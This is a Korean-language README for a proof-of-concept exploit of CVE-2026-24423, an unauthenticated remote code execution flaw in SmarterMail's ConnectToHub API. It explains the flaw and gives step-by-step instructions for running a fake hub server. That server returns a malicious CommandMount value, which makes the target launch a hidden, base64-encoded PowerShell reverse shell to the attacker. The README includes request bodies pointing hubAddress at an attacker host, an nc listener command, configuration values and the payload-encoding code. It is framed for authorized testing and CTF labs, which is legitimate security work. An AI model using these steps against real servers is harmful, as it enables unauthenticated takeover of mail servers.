
SmarterTools SmarterMail(CVE-2026-24423, ConnectToHub)의 인증되지 않은 RCE PoC입니다. 승인된 보안 테스트, CTF 및 연구 목적으로만 사용하십시오.
SmarterTools SmarterMail의 ConnectToHub 기능에서 발생하는 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-24423에 대한 Python 기반 익스플로잇입니다.
사용 목적: 승인된 보안 테스트, CTF, Hack The Box 랩, 통제된 연구 환경에서만 사용하십시오.
본인이 소유하거나 테스트 권한을 명시적으로 부여받은 시스템에만 사용하십시오. SECURITY.md를 참조하십시오.
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
**Python 3.6+**가 필요합니다(표준 라이브러리만 사용). 전체 안내는 아래 사용법 섹션을 참조하십시오.
CVE-2026-24423은 SmarterTools SmarterMail에 영향을 미치는 인증되지 않은 원격 코드 실행 취약점입니다.
이 취약점은 ConnectToHub 기능에 존재합니다. 인증되지 않은 공격자가 악의적인 hubAddress를 제공하면 SmarterMail 서버가 공격자가 제어하는 서버로 HTTP 요청을 보내게 됩니다.
악의적인 서버는 공격자가 제어하는 SystemMount.CommandMount 값을 포함한 조작된 setup-initial-connection 응답을 반환합니다.
취약한 SmarterMail 인스턴스는 이후 이 값을 운영체제 명령으로 처리하여 SmarterMail 서비스의 보안 컨텍스트에서 임의 명령 실행을 허용합니다.
이 취약점에는 **CVSS 4.0 점수 9.3(Critical)**이 부여되었으며 CWE-306: 중요 기능에 대한 인증 누락으로 분류됩니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-24423 |
| 공급업체 | SmarterTools |
| 제품 | SmarterMail |
| 취약점 | 인증되지 않은 원격 코드 실행 |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critical |
| CVSS v3.1 | 9.8 Critical |
| 공격 벡터 | 네트워크 |
| 인증 | 없음 |
| 사용자 상호작용 | 없음 |
| 복잡도 | 낮음 |
| 공개일 | 2026년 1월 23일 |
| 수정 빌드 | 9511 |
공식 CVE 레코드는 이 문제를 ConnectToHub API 메서드를 통한 인증되지 않은 RCE로 설명합니다.
SmarterMail Build 9511 이전 버전이 영향을 받습니다.
CVE 레코드는 영향받는 범위를 다음과 같이 명시합니다:
SmarterMail < 100.0.9511
2026년 1월 15일에 릴리스된 Build 9511에 공급업체의 수정 사항이 포함되어 있습니다.
< 100.0.9511
>= 100.0.9511
취약점을 재현하기 전에 항상 설치된 정확한 빌드를 확인하십시오.
취약한 기능은 SmarterMail 시스템 관리 API를 통해 노출됩니다.
관련 작업은 다음과 같습니다:
/api/v1/settings/sysadmin/connect-to-hub
이 엔드포인트는 hubAddress 매개변수를 받습니다.
개념적으로 공격자는 다음을 제공할 수 있습니다:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
그러면 SmarterMail은 제공된 허브 주소에 연결하여 다음을 요청합니다:
/web/api/node-management/setup-initial-connection
공격자가 제어하는 서버는 악의적인 SystemMount 객체를 포함한 JSON으로 응답합니다.
중요한 속성은 다음과 같습니다:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
CommandMount 값은 이후 취약한 애플리케이션에 의해 운영체제 명령으로 사용됩니다.
이를 통해 공격자는 다음과 같은 전환을 수행할 수 있습니다:
인증되지 않은 HTTP 요청
에서:
원격 명령 실행
으로 전환할 수 있습니다.
VulnCheck의 기술 분석은 공격자가 제어하는 hubAddress가 SmarterMail로 하여금 공격자의 setup-initial-connection 엔드포인트를 요청하게 하고, 반환된 CommandMount가 임의 명령 실행을 제공할 수 있음을 확인합니다.
익스플로잇은 두 가지 구성 요소로 이루어집니다:
Python 서버는 다음을 수신 대기합니다:
POST /web/api/node-management/setup-initial-connection
그리고 악의적인 SystemMount.CommandMount를 포함한 조작된 JSON 응답을 반환합니다.
별도의 TCP 리스너가 대상에서 실행된 명령에 의해 시작된 연결을 수신합니다.
이 익스플로잇은 의도적으로 두 개의 별도 포트를 사용합니다.
8081
└── 가짜 SmarterMail 허브
4455
└── 리버스 셸 리스너
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
이 포트들은 서로 다른 목적을 가지며 혼동해서는 안 됩니다.
익스플로잇은 Python 표준 라이브러리 모듈만 사용합니다:
http.server
json
base64
외부 Python 패키지는 필요하지 않습니다.
다음 변수를 편집하십시오:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
예시 HTB 환경의 경우:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST는 대상이 접근할 수 있는 공격자의 IP 주소입니다.
Hack The Box의 경우 일반적으로 HTB VPN 인터페이스에 할당된 IP입니다:
ip addr show tun0
예시:
tun0:
inet 10.10.14.50
따라서:
LHOST = "10.10.14.50"
LPORT는 공격자가 리버스 연결을 수신하는 데 사용하는 TCP 포트입니다.
예시:
LPORT = 4455
HUB_PORT는 악의적인 SmarterMail 허브가 사용하는 HTTP 포트입니다.
예시:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
편집:
nano exploit.py
설정:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
터미널을 엽니다:
nc -lvnp 4455
예상:
Listening on 0.0.0.0 4455
이 터미널을 열어 두십시오.
두 번째 터미널을 엽니다:
python3 exploit.py
선택한 포트에 바인딩하는 데 상승된 권한이 필요한 경우:
sudo python3 exploit.py
예상 출력:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
취약한 SmarterMail 인스턴스에 적절한 요청을 보냅니다.
제공된 hubAddress는 악의적인 HTTP 서버를 가리켜야 합니다:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
중요한 값은 다음과 같습니다:
http://10.10.14.50:8081
리버스 셸 포트를 허브 포트로 사용하지 마십시오.
| 목적 | IP | 포트 |
|---|---|---|
| 공격자 VPN | 10.10.14.50 | — |
| 가짜 SmarterMail 허브 | 10.10.14.50 | 8081 |
| 리버스 셸 | 10.10.14.50 | 4455 |
| HTB 대상 | 10.129.57.86 | — |
결과적인 흐름은 다음과 같습니다:
hubAddress
↓
10.10.14.50:8081
↓
Malicious CommandMount
↓
PowerShell
↓
10.10.14.50:4455
익스플로잇은 PowerShell 페이로드를 동적으로 생성합니다.
PowerShell의 -EncodedCommand 매개변수는 명령이 Base64 인코딩 전에 UTF-16LE로 인코딩될 것을 요구합니다.
스크립트는 다음을 수행합니다:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
최종 명령은 다음과 같이 구성됩니다:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>